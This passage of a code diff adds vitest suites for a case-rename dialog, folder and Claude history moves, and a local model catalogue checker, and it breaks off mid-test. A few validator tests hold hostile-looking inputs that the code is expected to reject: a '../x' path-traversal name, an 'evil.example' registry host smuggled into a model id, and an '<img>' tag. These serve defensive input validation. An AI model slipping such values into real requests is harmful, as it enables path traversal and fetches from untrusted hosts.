const els: Record<string, El> = Object.fromEntries(ids.map((id) => [id, el()]));
|
||||
els.quickStartCase.value = opts.current ?? 'alpha';
|
||||
function CodemanApp(this: unknown) {}
|
||||
const ctx = vm.createContext({
|
||||
CodemanApp,
|
||||
window: {},
|
||||
document: { getElementById: (id: string) => els[id] ?? null },
|
||||
localStorage: {
|
||||
getItem: (k: string) => store.get(k) ?? null,
|
||||
setItem: (k: string, v: string) => void store.set(k, v),
|
||||
removeItem: (k: string) => void store.delete(k),
|
||||
},
|
||||
fetch: async (url: string, init: { body: string }) => {
|
||||
calls.push({ url, body: JSON.parse(init.body) });
|
||||
return { json: async () => queue.shift() };
|
||||
},
|
||||
escapeHtml: (s: string) => s,
|
||||
});
|
||||
vm.runInContext(SRC, ctx);
|
||||
const app = Object.create((CodemanApp as unknown as { prototype: object }).prototype) as Record<string, any>;
|
||||
const refreshed: unknown[] = [];
|
||||
Object.assign(app, {
|
||||
cases: opts.cases,
|
||||
showToast: (m: string) => void toasts.push(m),
|
||||
loadQuickStartCases: async (n: unknown) => void refreshed.push(n),
|
||||
renderCaseManageList: () => void refreshed.push('render'),
|
||||
});
|
||||
return { app, els, calls, toasts, store, refreshed };
|
||||
}
|
||||
|
||||
const ok = { success: true, data: {} };
|
||||
|
||||
describe('the Rename dialog is part of the page, not a browser prompt', () => {
|
||||
it('has its modal in index.html, with the name, folder and error elements the code drives', () => {
|
||||
for (const id of [
|
||||
'renameCaseModal',
|
||||
'renameCaseInput',
|
||||
'renameCaseFolder',
|
||||
'renameCaseError',
|
||||
'renameCaseSubmit',
|
||||
]) {
|
||||
expect(HTML).toContain(`id="${id}"`);
|
||||
}
|
||||
const fn = SRC.slice(SRC.indexOf('renameCase(name)'), SRC.indexOf('async deleteCase(name)'));
|
||||
expect(fn).not.toMatch(/\b(prompt|confirm|alert)\(/);
|
||||
});
|
||||
});
|
||||
|
||||
describe('renameCase / submitRenameCase', () => {
|
||||
it('opens pre-filled, renames a local case, moves its run options and reselects it under the new name', async () => {
|
||||
const t = makeApp({ responses: [ok], cases: [{ name: 'alpha', location: 'local' }] });
|
||||
t.app.renameCase('alpha');
|
||||
expect(t.els.renameCaseModal.classes.has('active')).toBe(true);
|
||||
expect(t.els.renameCaseInput.value).toBe('alpha');
|
||||
expect(t.els.renameCaseFolderRow.classes.has('hidden')).toBe(true);
|
||||
|
||||
t.els.renameCaseInput.value = ' beta ';
|
||||
await t.app.submitRenameCase();
|
||||
|
||||
expect(t.calls).toEqual([{ url: '/api/cases/alpha/rename', body: { newName: 'beta' } }]);
|
||||
expect(t.els.renameCaseModal.classes.has('active')).toBe(false);
|
||||
expect(t.store.get('caseSettings_beta')).toBe('{"agentTeams":true}');
|
||||
expect(t.store.has('caseSettings_alpha')).toBe(false);
|
||||
expect(t.refreshed).toEqual(['beta', 'render']);
|
||||
});
|
||||
|
||||
it('keeps the dialog open with a message for the same name or a name that is not allowed, and sends nothing', async () => {
|
||||
for (const entered of ['', 'alpha', 'a b', '../x']) {
|
||||
const t = makeApp({ responses: [], cases: [{ name: 'alpha' }] });
|
||||
t.app.renameCase('alpha');
|
||||
t.els.renameCaseInput.value = entered;
|
||||
await t.app.submitRenameCase();
|
||||
expect(t.calls, entered).toEqual([]);
|
||||
expect(t.els.renameCaseError.classes.has('hidden'), entered).toBe(false);
|
||||
expect(t.els.renameCaseModal.classes.has('active'), entered).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it('shows the folder checkbox for a linked case and sends its state', async () => {
|
||||
const t = makeApp({ responses: [ok], cases: [{ name: 'alpha', linked: true, path: '/srv/app' }] });
|
||||
t.app.renameCase('alpha');
|
||||
expect(t.els.renameCaseFolderRow.classes.has('hidden')).toBe(false);
|
||||
expect(t.els.renameCaseFolderHint.textContent).toContain('/srv/app');
|
||||
t.els.renameCaseInput.value = 'beta';
|
||||
t.els.renameCaseFolder.checked = true;
|
||||
await t.app.submitRenameCase();
|
||||
expect(t.calls[0].body).toEqual({ newName: 'beta', renameFolder: true });
|
||||
|
||||
const alias = makeApp({ responses: [ok], cases: [{ name: 'alpha', linked: true, path: '/srv/app' }] });
|
||||
alias.app.renameCase('alpha');
|
||||
alias.els.renameCaseInput.value = 'beta';
|
||||
await alias.app.submitRenameCase();
|
||||
expect(alias.calls[0].body).toEqual({ newName: 'beta', renameFolder: false });
|
||||
});
|
||||
|
||||
it('lists the live sessions in the dialog and stops them only on the second press', async () => {
|
||||
const refusal = {
|
||||
success: false,
|
||||
error: '1 live session has this folder open.',
|
||||
requiresStop: true,
|
||||
sessions: [{ id: 's', name: 'w1-alpha' }],
|
||||
};
|
||||
const t = makeApp({ responses: [refusal, ok], cases: [{ name: 'alpha' }] });
|
||||
t.app.renameCase('alpha');
|
||||
t.els.renameCaseInput.value = 'beta';
|
||||
|
||||
await t.app.submitRenameCase();
|
||||
expect(t.els.renameCaseError.textContent).toContain('w1-alpha');
|
||||
// "stop" closes them through the server's session cleanup: say that their tabs go away
|
||||
expect(t.els.renameCaseError.textContent).toContain('They will be closed (their tabs go away');
|
||||
expect(t.els.renameCaseSubmit.textContent).toBe('Stop sessions and rename');
|
||||
expect(t.els.renameCaseModal.classes.has('active')).toBe(true);
|
||||
expect(t.calls).toHaveLength(1);
|
||||
|
||||
await t.app.submitRenameCase();
|
||||
expect(t.calls.map((c) => c.body)).toEqual([{ newName: 'beta' }, { newName: 'beta', stopSessions: true }]);
|
||||
expect(t.els.renameCaseModal.classes.has('active')).toBe(false);
|
||||
});
|
||||
|
||||
it('says how many sessions were already closed when the rename fails after closing them', async () => {
|
||||
const refusal = { success: false, error: 'busy', requiresStop: true, sessions: [{ id: 's', name: 'w1-alpha' }] };
|
||||
const failed = { success: false, error: 'The registry could not be written.', stoppedSessions: 2 };
|
||||
const t = makeApp({ responses: [refusal, failed], cases: [{ name: 'alpha' }] });
|
||||
t.app.renameCase('alpha');
|
||||
t.els.renameCaseInput.value = 'beta';
|
||||
await t.app.submitRenameCase();
|
||||
await t.app.submitRenameCase();
|
||||
expect(t.els.renameCaseError.textContent).toBe(
|
||||
'The registry could not be written. (2 sessions were already closed.)'
|
||||
);
|
||||
expect(t.els.renameCaseModal.classes.has('active')).toBe(true);
|
||||
});
|
||||
|
||||
it('cancelling the dialog stops nothing and renames nothing', async () => {
|
||||
const t = makeApp({ responses: [], cases: [{ name: 'alpha' }] });
|
||||
t.app.renameCase('alpha');
|
||||
t.app.closeRenameCase();
|
||||
expect(t.els.renameCaseModal.classes.has('active')).toBe(false);
|
||||
await t.app.submitRenameCase(); // nothing open: ignored
|
||||
expect(t.calls).toEqual([]);
|
||||
});
|
||||
|
||||
it('shows the server’s message inside the dialog when the folder is locked, and leaves the lists alone', async () => {
|
||||
const locked = { success: false, error: 'The folder is in use by another program (EBUSY).' };
|
||||
const t = makeApp({ responses: [locked], cases: [{ name: 'alpha' }] });
|
||||
t.app.renameCase('alpha');
|
||||
t.els.renameCaseInput.value = 'beta';
|
||||
await t.app.submitRenameCase();
|
||||
expect(t.els.renameCaseError.textContent).toBe('The folder is in use by another program (EBUSY).');
|
||||
expect(t.els.renameCaseModal.classes.has('active')).toBe(true);
|
||||
expect(t.els.renameCaseSubmit.disabled).toBe(false); // the name can be fixed and tried again
|
||||
expect(t.toasts).toEqual([]);
|
||||
expect(t.refreshed).toEqual([]);
|
||||
expect(t.store.has('caseSettings_alpha')).toBe(true);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,241 @@
|
||||
/**
|
||||
* @fileoverview src/case-rename.ts: the in-process lock, the record of sessions still being created, the
|
||||
* retried folder move and Claude history migration. Real filesystem under test/setup.ts's temp HOME. Port: N/A.
|
||||
*/
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import { existsSync, mkdirSync, mkdtempSync, readFileSync, symlinkSync, writeFileSync } from 'node:fs';
|
||||
import fsp from 'node:fs/promises';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import {
|
||||
CaseRenameError,
|
||||
caseSessionSettled,
|
||||
claudeProjectDirName,
|
||||
isCasePathLocked,
|
||||
isCaseSessionStarting,
|
||||
moveCaseFolder,
|
||||
noteCaseSessionStarting,
|
||||
moveClaudeHistory,
|
||||
renameInOrder,
|
||||
siblingPath,
|
||||
withCaseLock,
|
||||
} from '../src/case-rename.js';
|
||||
import { Session } from '../src/session.js';
|
||||
|
||||
const roots: string[] = [];
|
||||
const tmp = () => {
|
||||
const dir = mkdtempSync(join(tmpdir(), 'case-rename-'));
|
||||
roots.push(dir);
|
||||
return dir;
|
||||
};
|
||||
afterEach(async () => {
|
||||
vi.restoreAllMocks();
|
||||
for (const dir of roots.splice(0)) await fsp.rm(dir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
describe('withCaseLock', () => {
|
||||
it('holds both paths and everything inside them for the length of the call, then lets go', async () => {
|
||||
const root = tmp();
|
||||
const from = join(root, 'old');
|
||||
const to = join(root, 'new');
|
||||
let during: boolean[] = [];
|
||||
await withCaseLock(from, to, async () => {
|
||||
during = [
|
||||
isCasePathLocked(from),
|
||||
isCasePathLocked(join(from, 'src')),
|
||||
isCasePathLocked(to),
|
||||
isCasePathLocked(root),
|
||||
];
|
||||
});
|
||||
expect(during).toEqual([true, true, true, false]);
|
||||
expect(isCasePathLocked(from)).toBe(false);
|
||||
expect(isCasePathLocked(to)).toBe(false);
|
||||
});
|
||||
|
||||
it('refuses an overlapping rename with BUSY and releases on failure', async () => {
|
||||
const root = tmp();
|
||||
await withCaseLock(join(root, 'a'), join(root, 'b'), async () => {
|
||||
await expect(withCaseLock(join(root, 'b'), join(root, 'c'), async () => {})).rejects.toMatchObject({
|
||||
code: 'BUSY',
|
||||
});
|
||||
await expect(withCaseLock(join(root, 'a', 'inner'), join(root, 'x'), async () => {})).rejects.toBeInstanceOf(
|
||||
CaseRenameError
|
||||
);
|
||||
});
|
||||
await expect(
|
||||
withCaseLock(join(root, 'a'), join(root, 'b'), async () => {
|
||||
throw new Error('boom');
|
||||
})
|
||||
).rejects.toThrow('boom');
|
||||
expect(isCasePathLocked(join(root, 'a'))).toBe(false);
|
||||
});
|
||||
|
||||
it('keeps a session from starting in a folder that is being moved', async () => {
|
||||
const root = tmp();
|
||||
const from = join(root, 'case');
|
||||
mkdirSync(from);
|
||||
await withCaseLock(from, join(root, 'renamed'), async () => {
|
||||
expect(() => new Session({ workingDir: from })).toThrow(/being renamed/);
|
||||
expect(() => new Session({ workingDir: join(from, 'sub') })).toThrow(/being renamed/);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('sessions still being created', () => {
|
||||
it('counts a constructed session as starting in its folder until the server settles it', () => {
|
||||
const root = tmp();
|
||||
const dir = join(root, 'case');
|
||||
const session = new Session({ workingDir: join(dir, 'sub') });
|
||||
expect(isCaseSessionStarting(dir)).toBe(true);
|
||||
expect(isCaseSessionStarting(join(dir, 'sub'))).toBe(true);
|
||||
expect(isCaseSessionStarting(join(dir, 'other'))).toBe(false);
|
||||
expect(isCaseSessionStarting(`${dir}-2`)).toBe(false);
|
||||
caseSessionSettled(session);
|
||||
expect(isCaseSessionStarting(dir)).toBe(false);
|
||||
});
|
||||
|
||||
it('lets go of a session that is stopped, and of one never registered once a while has passed', async () => {
|
||||
const root = tmp();
|
||||
const stopped = new Session({ workingDir: root });
|
||||
await stopped.stop();
|
||||
expect(isCaseSessionStarting(root)).toBe(false);
|
||||
// a create that failed before registering, or a one-shot prompt that never registers
|
||||
const lost = {};
|
||||
noteCaseSessionStarting(lost, root, 1000);
|
||||
expect(isCaseSessionStarting(root, 1000 + 29_999)).toBe(true);
|
||||
expect(isCaseSessionStarting(root, 1000 + 30_000)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('moveCaseFolder', () => {
|
||||
it('moves a folder and its contents', async () => {
|
||||
const root = tmp();
|
||||
mkdirSync(join(root, 'old'));
|
||||
writeFileSync(join(root, 'old', 'CLAUDE.md'), 'x');
|
||||
await moveCaseFolder(join(root, 'old'), join(root, 'new'));
|
||||
expect(existsSync(join(root, 'old'))).toBe(false);
|
||||
expect(existsSync(join(root, 'new', 'CLAUDE.md'))).toBe(true);
|
||||
});
|
||||
|
||||
it('never replaces an existing folder, even an empty one that rename would silently overwrite', async () => {
|
||||
const root = tmp();
|
||||
mkdirSync(join(root, 'old'));
|
||||
mkdirSync(join(root, 'taken'));
|
||||
await expect(moveCaseFolder(join(root, 'old'), join(root, 'taken'))).rejects.toMatchObject({ code: 'EXISTS' });
|
||||
expect(existsSync(join(root, 'old'))).toBe(true);
|
||||
});
|
||||
|
||||
it('retries a lock error, and succeeds once the other program lets go', async () => {
|
||||
const root = tmp();
|
||||
mkdirSync(join(root, 'old'));
|
||||
const real = fsp.rename.bind(fsp);
|
||||
let calls = 0;
|
||||
vi.spyOn(fsp, 'rename').mockImplementation(async (a, b) => {
|
||||
if (++calls < 3) throw Object.assign(new Error('busy'), { code: 'EBUSY' });
|
||||
return real(a, b);
|
||||
});
|
||||
await moveCaseFolder(join(root, 'old'), join(root, 'new'), 4, 1);
|
||||
expect(calls).toBe(3);
|
||||
expect(existsSync(join(root, 'new'))).toBe(true);
|
||||
});
|
||||
|
||||
it('reports a lock that never clears as LOCKED, with what to do about it', async () => {
|
||||
const root = tmp();
|
||||
mkdirSync(join(root, 'old'));
|
||||
vi.spyOn(fsp, 'rename').mockRejectedValue(Object.assign(new Error('perm'), { code: 'EPERM' }));
|
||||
const err = await moveCaseFolder(join(root, 'old'), join(root, 'new'), 2, 1).catch((e) => e);
|
||||
expect(err).toBeInstanceOf(CaseRenameError);
|
||||
expect(err.code).toBe('LOCKED');
|
||||
expect(err.message).toMatch(/in use by another program/);
|
||||
expect(existsSync(join(root, 'old'))).toBe(true);
|
||||
});
|
||||
|
||||
it('refuses to cross filesystems', async () => {
|
||||
const root = tmp();
|
||||
mkdirSync(join(root, 'old'));
|
||||
vi.spyOn(fsp, 'rename').mockRejectedValue(Object.assign(new Error('xdev'), { code: 'EXDEV' }));
|
||||
await expect(moveCaseFolder(join(root, 'old'), join(root, 'new'))).rejects.toMatchObject({ code: 'CROSS_DEVICE' });
|
||||
});
|
||||
});
|
||||
|
||||
describe('Claude history', () => {
|
||||
it('names a project directory the way Claude Code does', () => {
|
||||
expect(claudeProjectDirName('/home/devvyn/codeman-cases/my_case')).toBe('-home-devvyn-codeman-cases-my-case');
|
||||
expect(claudeProjectDirName('/home/devvyn/.dotcase')).toBe('-home-devvyn--dotcase');
|
||||
});
|
||||
|
||||
it('moves the old path’s history to the new one', async () => {
|
||||
const cfg = tmp();
|
||||
const projects = join(cfg, 'projects');
|
||||
const oldPath = join(tmp(), 'alpha');
|
||||
const newPath = join(tmp(), 'beta');
|
||||
mkdirSync(join(projects, claudeProjectDirName(oldPath)), { recursive: true });
|
||||
writeFileSync(join(projects, claudeProjectDirName(oldPath), 'c.jsonl'), '{}');
|
||||
expect(await moveClaudeHistory(oldPath, newPath, cfg)).toBe(true);
|
||||
expect(existsSync(join(projects, claudeProjectDirName(newPath), 'c.jsonl'))).toBe(true);
|
||||
expect(existsSync(join(projects, claudeProjectDirName(oldPath)))).toBe(false);
|
||||
expect(await moveClaudeHistory(join(tmp(), 'none'), newPath, cfg)).toBe(false);
|
||||
});
|
||||
|
||||
it('merges into history already at the new path (a deleted case’s leftovers) without overwriting any of it', async () => {
|
||||
const cfg = tmp();
|
||||
const projects = join(cfg, 'projects');
|
||||
const oldPath = join(tmp(), 'alpha');
|
||||
const newPath = join(tmp(), 'beta');
|
||||
const from = join(projects, claudeProjectDirName(oldPath));
|
||||
const to = join(projects, claudeProjectDirName(newPath));
|
||||
mkdirSync(join(from, 'conv-a', 'subagents'), { recursive: true });
|
||||
writeFileSync(join(from, 'conv-a.jsonl'), 'alpha');
|
||||
writeFileSync(join(from, 'conv-a', 'subagents', 'agent-1.jsonl'), 'alpha agent');
|
||||
mkdirSync(join(from, 'memory'));
|
||||
writeFileSync(join(from, 'memory', 'MEMORY.md'), 'alpha memory');
|
||||
// Claude Code never removes a project directory, so a case deleted earlier under the new name left this.
|
||||
mkdirSync(join(to, 'memory'), { recursive: true });
|
||||
writeFileSync(join(to, 'conv-old.jsonl'), 'old beta');
|
||||
writeFileSync(join(to, 'memory', 'MEMORY.md'), 'old beta memory');
|
||||
|
||||
expect(await moveClaudeHistory(oldPath, newPath, cfg)).toBe(true);
|
||||
|
||||
expect(readFileSync(join(to, 'conv-a.jsonl'), 'utf8')).toBe('alpha');
|
||||
expect(readFileSync(join(to, 'conv-a', 'subagents', 'agent-1.jsonl'), 'utf8')).toBe('alpha agent');
|
||||
expect(readFileSync(join(to, 'conv-old.jsonl'), 'utf8')).toBe('old beta');
|
||||
// an entry both have is never overwritten: it stays where it was
|
||||
expect(readFileSync(join(to, 'memory', 'MEMORY.md'), 'utf8')).toBe('old beta memory');
|
||||
expect(readFileSync(join(from, 'memory', 'MEMORY.md'), 'utf8')).toBe('alpha memory');
|
||||
expect(existsSync(join(from, 'conv-a.jsonl'))).toBe(false);
|
||||
});
|
||||
|
||||
it('removes the old project directory once a merge has emptied it, and never merges into a symlink', async () => {
|
||||
const cfg = tmp();
|
||||
const projects = join(cfg, 'projects');
|
||||
const oldPath = join(tmp(), 'alpha');
|
||||
const newPath = join(tmp(), 'beta');
|
||||
const from = join(projects, claudeProjectDirName(oldPath));
|
||||
const to = join(projects, claudeProjectDirName(newPath));
|
||||
mkdirSync(from, { recursive: true });
|
||||
mkdirSync(to, { recursive: true });
|
||||
writeFileSync(join(from, 'conv-a.jsonl'), 'alpha');
|
||||
expect(await moveClaudeHistory(oldPath, newPath, cfg)).toBe(true);
|
||||
expect(existsSync(from)).toBe(false);
|
||||
|
||||
const elsewhere = tmp();
|
||||
const linkedPath = join(tmp(), 'gamma');
|
||||
mkdirSync(from);
|
||||
writeFileSync(join(from, 'conv-b.jsonl'), 'alpha');
|
||||
symlinkSync(elsewhere, join(projects, claudeProjectDirName(linkedPath)));
|
||||
expect(await moveClaudeHistory(oldPath, linkedPath, cfg)).toBe(false);
|
||||
expect(existsSync(join(from, 'conv-b.jsonl'))).toBe(true);
|
||||
expect(existsSync(join(elsewhere, 'conv-b.jsonl'))).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('small helpers', () => {
|
||||
it('renames in an order list keeping the position, and says nothing when absent', () => {
|
||||
expect(renameInOrder(['a', 'b', 'c'], 'b', 'z')).toEqual(['a', 'z', 'c']);
|
||||
expect(renameInOrder(['a'], 'q', 'z')).toBeNull();
|
||||
expect(renameInOrder(undefined, 'a', 'z')).toBeNull();
|
||||
});
|
||||
it('puts the new name next to the old folder', () => {
|
||||
expect(siblingPath('/srv/work/app', 'app2')).toBe('/srv/work/app2');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,751 @@
|
||||
/**
|
||||
* @fileoverview scripts/check-local-model-catalog.mjs, the weekly check of the local model
|
||||
* catalogue: which build a Mac pulls from a manifest list, the pull total, how a row's drift is
|
||||
* classified, the exit code, the report text, and that the IO side only ever asks for
|
||||
* manifests, child manifests and configs (never a layer). The network is never used: the IO
|
||||
* tests drive a fake registry and a fake GitHub API.
|
||||
*
|
||||
* The fixtures under test/fixtures/local-model-catalog/ are real bodies the registry served on
|
||||
* 2026-11-08 for `qwen3.6:35b-a3b`, byte for byte, so their digests are the real ones.
|
||||
*/
|
||||
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { resolve } from 'node:path';
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
CheckFailure,
|
||||
MANIFEST_ACCEPT,
|
||||
MAX_MANIFEST_BYTES,
|
||||
MEDIA_TYPE_MANIFEST,
|
||||
MEDIA_TYPE_MANIFEST_LIST,
|
||||
SIZE_TOLERANCE_FRACTION,
|
||||
boundedGet,
|
||||
catalogueRunner,
|
||||
classifyModel,
|
||||
classifyRuntime,
|
||||
compareVersions,
|
||||
exitCodeFor,
|
||||
formatPercent,
|
||||
groupDigits,
|
||||
inspectModel,
|
||||
metadataForConfig,
|
||||
normalizeDigest,
|
||||
parseVersion,
|
||||
pullTotalBytes,
|
||||
renderReport,
|
||||
runCheck,
|
||||
selectMacChild,
|
||||
sha256Digest,
|
||||
splitModelId,
|
||||
withinTolerance,
|
||||
} from '../scripts/check-local-model-catalog.mjs';
|
||||
|
||||
const fixtureDir = resolve(import.meta.dirname, 'fixtures/local-model-catalog');
|
||||
const fixture = (name: string): Buffer => readFileSync(resolve(fixtureDir, name));
|
||||
|
||||
const REAL_LIST = fixture('qwen3.6-35b-a3b.list.json');
|
||||
const REAL_GGUF_MANIFEST = fixture('qwen3.6-35b-a3b.gguf-manifest.json');
|
||||
const REAL_MLX_CONFIG = fixture('qwen3.6-35b-a3b.mlx-config.json');
|
||||
|
||||
/** The digest of the MLX child the real list names, which a Mac pulled on 2026-11-06. */
|
||||
const REAL_MLX_CHILD = 'sha256:0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba';
|
||||
const REAL_GGUF_CHILD = 'sha256:a7eb95c53bcf96b4bdd008d0fab4a5dac88047d9c1a7a9ab88ed453423fbd87c';
|
||||
/** The pull total a Mac reported for `qwen3.6:35b-a3b`, which the catalogue row stores. */
|
||||
const MAC_PULL_TOTAL_35B = 23_105_798_956;
|
||||
|
||||
const PIN = {
|
||||
version: '0.40.15',
|
||||
url: 'https://github.com/ollama/ollama/releases/download/v0.40.15/ollama-darwin.tgz',
|
||||
bytes: 185_971_671,
|
||||
sha256: '607c79d5d6315ef9d896db83adde736a4c0057196329843544e79b95afb260a8',
|
||||
};
|
||||
|
||||
const hex = (char: string): string => `sha256:${char.repeat(64)}`;
|
||||
|
||||
describe('the real registry bodies', () => {
|
||||
it('carry the digests the registry and a Mac reported for them', () => {
|
||||
expect(sha256Digest(REAL_LIST)).toBe('sha256:86b2d171ce90bbb2dcb081933565ec867ce523cdd274bd24c8cf1ef9185feb4f');
|
||||
expect(sha256Digest(REAL_GGUF_MANIFEST)).toBe(REAL_GGUF_CHILD);
|
||||
expect(sha256Digest(REAL_MLX_CONFIG)).toBe(
|
||||
'sha256:577d7d4694896a245c8b00f62bf53a8f4720ded4eba83a8e2da30bb87583bd6b'
|
||||
);
|
||||
});
|
||||
|
||||
it('a Mac selects the mlx child of the real list, the one whose digest /api/tags reported', () => {
|
||||
const list = JSON.parse(REAL_LIST.toString('utf8'));
|
||||
expect(list.mediaType).toBe(MEDIA_TYPE_MANIFEST_LIST);
|
||||
expect(selectMacChild(list.manifests).digest).toBe(REAL_MLX_CHILD);
|
||||
});
|
||||
|
||||
it('the plain GGUF manifest totals its layers plus its config, 2% below what a Mac pulls', () => {
|
||||
const manifest = JSON.parse(REAL_GGUF_MANIFEST.toString('utf8'));
|
||||
expect(pullTotalBytes(manifest)).toBe(22_621_314_161 + 220);
|
||||
expect(classifyModel(
|
||||
{ id: 'qwen3.6:35b-a3b', bytes: MAC_PULL_TOTAL_35B },
|
||||
{ mac: { bytes: pullTotalBytes(manifest), digest: REAL_GGUF_CHILD } },
|
||||
'0.40.15'
|
||||
)).toEqual([expect.objectContaining({ kind: 'size' })]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('splitModelId', () => {
|
||||
it('splits name and tag', () => {
|
||||
expect(splitModelId('qwen3.6:35b-a3b')).toEqual({ name: 'qwen3.6', tag: '35b-a3b' });
|
||||
});
|
||||
|
||||
it.each(['qwen3.6', ':35b', 'qwen3.6:', 'evil.example/x:y'])('refuses %s', (id) => {
|
||||
expect(() => splitModelId(id)).toThrow(CheckFailure);
|
||||
});
|
||||
});
|
||||
|
||||
describe('pullTotalBytes', () => {
|
||||
const manifest = (layers: unknown, config: unknown = { size: 250 }) => ({ config, layers });
|
||||
|
||||
it('adds every layer and the config', () => {
|
||||
expect(pullTotalBytes(manifest([{ size: 1000 }, { size: 24 }]))).toBe(1274);
|
||||
});
|
||||
|
||||
it.each([
|
||||
['no layers', manifest([])],
|
||||
['layers that are not an array', manifest('x')],
|
||||
['a layer without a size', manifest([{ digest: 'x' }])],
|
||||
['a negative size', manifest([{ size: -1 }])],
|
||||
['a size given as text', manifest([{ size: '1000' }])],
|
||||
['a fractional size', manifest([{ size: 1.5 }])],
|
||||
['no config size', manifest([{ size: 1 }], {})],
|
||||
['a total past the safe integers', manifest([{ size: Number.MAX_SAFE_INTEGER }, { size: 10 }])],
|
||||
])('refuses %s', (_label, value) => {
|
||||
expect(() => pullTotalBytes(value)).toThrow(CheckFailure);
|
||||
});
|
||||
});
|
||||
|
||||
describe('selectMacChild', () => {
|
||||
const child = (runner: string, digest: string, mediaType?: string) => ({
|
||||
...(mediaType === undefined ? { mediaType: MEDIA_TYPE_MANIFEST } : { mediaType }),
|
||||
digest,
|
||||
runner,
|
||||
});
|
||||
|
||||
it('prefers mlx, then llamacpp, then ggml, whatever the list order', () => {
|
||||
expect(selectMacChild([child('ggml', 'g'), child('llamacpp', 'l'), child('mlx', 'm')]).digest).toBe('m');
|
||||
expect(selectMacChild([child('ggml', 'g'), child('llamacpp', 'l')]).digest).toBe('l');
|
||||
expect(selectMacChild([child('ggml', 'g')]).digest).toBe('g');
|
||||
});
|
||||
|
||||
it('takes the first child of a runner and compares runners as Ollama does', () => {
|
||||
expect(selectMacChild([child(' MLX ', 'first'), child('mlx', 'second')]).digest).toBe('first');
|
||||
});
|
||||
|
||||
it('skips a nested list and a runner a Mac does not run', () => {
|
||||
expect(selectMacChild([child('mlx', 'nested', MEDIA_TYPE_MANIFEST_LIST), child('llamacpp', 'l')]).digest).toBe('l');
|
||||
expect(selectMacChild([child('vllm', 'v')])).toBeUndefined();
|
||||
expect(selectMacChild('not a list')).toBeUndefined();
|
||||
});
|
||||
|
||||
it('accepts a child without a mediaType', () => {
|
||||
expect(selectMacChild([{ digest: 'm', runner: 'mlx' }]).digest).toBe('m');
|
||||
});
|
||||
});
|
||||
|
||||
describe('small helpers', () => {
|
||||
it('metadataForConfig mirrors Ollama: safetensors runs on mlx, gguf on ggml', () => {
|
||||
expect(metadataForConfig({ model_format: 'safetensors' })).toEqual({ runner: 'mlx', format: 'safetensors' });
|
||||
expect(metadataForConfig({ model_format: 'gguf' })).toEqual({ runner: 'ggml', format: 'gguf' });
|
||||
expect(metadataForConfig({})).toEqual({ runner: '', format: '' });
|
||||
});
|
||||
|
||||
it('catalogueRunner names a build in the catalogue words: mlx, or llamacpp for any GGUF build', () => {
|
||||
expect(catalogueRunner('mlx')).toBe('mlx');
|
||||
expect(catalogueRunner(' MLX ')).toBe('mlx');
|
||||
expect(catalogueRunner('llamacpp')).toBe('llamacpp');
|
||||
// A GGUF manifest that names no runner is `ggml` to Ollama, and llama-server runs it all the same.
|
||||
expect(catalogueRunner('ggml')).toBe('llamacpp');
|
||||
expect(catalogueRunner(metadataForConfig({ model_format: 'gguf' }).runner)).toBe('llamacpp');
|
||||
for (const other of ['', 'vllm', '<img>', undefined, 3]) expect(catalogueRunner(other)).toBeUndefined();
|
||||
});
|
||||
|
||||
it('normalizeDigest accepts the prefixed and the bare form and nothing else', () => {
|
||||
const bare = '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba';
|
||||
expect(normalizeDigest(bare)).toBe(REAL_MLX_CHILD);
|
||||
expect(normalizeDigest(REAL_MLX_CHILD.toUpperCase().replace('SHA256', 'sha256'))).toBe(REAL_MLX_CHILD);
|
||||
expect(normalizeDigest('sha256:abc')).toBeUndefined();
|
||||
expect(normalizeDigest('sha512:' + 'a'.repeat(64))).toBeUndefined();
|
||||
expect(normalizeDigest(42)).toBeUndefined();
|
||||
});
|
||||
|
||||
it('parses and compares versions', () => {
|
||||
expect(parseVersion('v0.40.15')).toEqual([0, 40, 15]);
|
||||
expect(parseVersion('0.32.12')).toEqual([0, 32, 12]);
|
||||
expect(parseVersion('0.40.15-rc1')).toBeUndefined();
|
||||
expect(compareVersions('0.40.15', 'v0.40.15')).toBe(0);
|
||||
expect(compareVersions('0.41.0', '0.40.15')).toBeGreaterThan(0);
|
||||
expect(compareVersions('0.9.0', '0.40.15')).toBeLessThan(0);
|
||||
expect(() => compareVersions('latest', '0.40.15')).toThrow(CheckFailure);
|
||||
});
|
||||
|
||||
it('formats numbers without the locale', () => {
|
||||
expect(groupDigits(23_105_798_956)).toBe('23,105,798,956');
|
||||
expect(groupDigits(250)).toBe('250');
|
||||
expect(formatPercent(0.16614)).toBe('+16.61%');
|
||||
expect(formatPercent(-0.02097)).toBe('-2.10%');
|
||||
});
|
||||
|
||||
it('the tolerance is a small fraction of the row', () => {
|
||||
expect(SIZE_TOLERANCE_FRACTION).toBeLessThanOrEqual(0.01);
|
||||
expect(withinTolerance(1_000_000, 1_001_000)).toBe(true);
|
||||
expect(withinTolerance(1_000_000, 1_001_001)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('classifyModel', () => {
|
||||
const observed = (bytes: number, extra: Record<string, unknown> = {}) => ({
|
||||
mac: { bytes, digest: REAL_MLX_CHILD, runner: 'mlx', format: 'safetensors', ...extra },
|
||||
});
|
||||
|
||||
it('a row that holds the pull total itself is clean', () => {
|
||||
expect(classifyModel({ id: 'qwen3.6:35b-a3b', bytes: MAC_PULL_TOTAL_35B }, observed(MAC_PULL_TOTAL_35B), '0.40.15')).toEqual([]);
|
||||
});
|
||||
|
||||
it('a row sized from its layers alone is clean: the config is a few hundred bytes', () => {
|
||||
expect(classifyModel({ id: 'gpt-oss:20b', bytes: 13_793_441_427 }, observed(13_793_441_566), '0.40.15')).toEqual([]);
|
||||
});
|
||||
|
||||
it('flags the two real drifts of 2026-11-08: the Mac gets the mlx build', () => {
|
||||
